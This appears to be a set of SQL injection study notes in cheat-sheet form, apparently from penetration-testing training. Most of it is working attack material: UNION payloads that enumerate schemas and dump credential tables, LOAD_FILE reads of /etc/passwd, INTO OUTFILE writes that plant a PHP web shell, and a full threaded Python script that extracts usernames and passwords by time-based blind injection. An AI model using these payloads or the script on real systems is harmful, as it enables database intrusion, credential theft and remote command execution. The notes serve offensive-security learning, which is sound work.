2. SQLi
In-band
union based
error based
Blind
boolean based
time based
Out-of-band
Authentication bypass
Discovery
Payload URL Encoded
' %27
" %22
# %23
; %3B
) %29
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';
Using Comments
-- -
#
-- (Space after)
Union Clause
mysql> SELECT * FROM ports UNION SELECT * FROM ships;
Using ORDER BY
' order by 1-- -
Using UNION
cn' UNION select 1,2,3-- -
Exploit
Identify # of column --> ID Database --> ID Table --> ID Columns
Select @@Version
Select POW(1,1)
Select sleep(5)
INFORMATION_SCHEMA Database
The INFORMATION_SCHEMA database contains metadata about the databases and tables present on the server.
List of databases
List of tables within each database
List of columns within each table
SCHEMATA
The table SCHEMATA in the INFORMATION_SCHEMA database contains information about all databases on the server.
mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
cn' UNION select 1,database(),2,3-- -
Tables
The TABLES table contains information about all tables throughout the database.
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
Columns
The COLUMNS table contains information about all columns present in all the databases.
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
Data
cn' UNION select 1, username, password, 4 from dev.credentials-- -
Reading data
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
cn' UNION SELECT 1, user(), 3, 4-- -
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -
SELECT super_priv FROM mysql.user
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE user="root"-- -
Load_file
SELECT LOAD_FILE('/etc/passwd');
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -
Writing Files
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
SELECT * from users INTO OUTFILE '/tmp/credentials';
select 'file written successfully!' into outfile '/var/www/html/proof.txt'
cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -
Webshell -php
<?php system($_REQUEST[0]);?>
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
cn' union select 1,'<?php system($_REQUEST[0]); ?>',3,4,5 into outfile '/var/www/html/dashboard/shell.php'-- -
Using previous example:
import requests
import threading
import time
class SQLInjector:
def __init__(self, base_url, max_length=30, proxies=None):
self.base_url = base_url
self.max_length = max_length
self.proxies = proxies or {}
def check_condition(self, payload):
full_url = self.base_url + payload + "--"
start_time = time.time()
response = requests.get(full_url, proxies=self.proxies)
end_time = time.time()
# Measure the response time
elapsed_time = end_time - start_time
print(f"Elapsed time: {elapsed_time:.2f} seconds")
# If the response time is significantly higher, assume the condition is true
return elapsed_time > 2 # Assuming a 2-second delay indicates a true condition
def extract_character(self, row, position, field):
for ascii_value in range(32, 127): # ASCII printable characters range
# Construct the payload using the current ascii_value
payload = (
f"(SELECT+(case+when(ascii(substr((select+{field}+from+users+LIMIT+1+offset+{row}),{position},1))={ascii_value})+"
f"THEN+pg_sleep(2)+else+pg_sleep(0)+END))"
)
if self.check_condition(payload):
found_char = chr(ascii_value)
print(f"Found character at position {position}, row {row}, field {field}: {found_char}")
return found_char
return None
def extract_field_for_row(self, row, field):
extracted_value = ""
for position in range(1, self.max_length + 1):
char = self.extract_character(row, position, field)
if char:
extracted_value += char
print(f"{field.capitalize()} so far for row {row}: {extracted_value}")
else:
break # Stop if no more characters are found (end of field)
return extracted_value
def extract_all_fields(self, rows, fields):
results = {field: {} for field in fields}
threads = []
# Create a thread for each field extraction for each row
for row in range(rows):
for field in fields:
thread = threading.Thread(target=self._threaded_extract, args=(row, field, results[field]))
threads.append(thread)
thread.start()
# Wait for all threads to complete
for thread in threads:
thread.join()
return results
def _threaded_extract(self, row, field, result):
result[row] = self.extract_field_for_row(row, field)
def main():
base_url = "http://answers/categories?order="
max_rows = 3 # Adjust this to the number of rows you want to extract
max_length = 30 # Adjust based on expected username and password length
fields_to_extract = ["username", "password"]
# Initialize the SQLInjector
injector = SQLInjector(base_url=base_url, max_length=max_length, proxies={'http': 'http://127.0.0.1:8080'})
# Perform the injection to extract the fields
results = injector.extract_all_fields(rows=max_rows, fields=fields_to_extract)
# Print the extracted results in "username: password" format
for row in range(max_rows):
print(f"{results['username'][row]}: {results['password'][row]}")
if __name__ == "__main__":
main()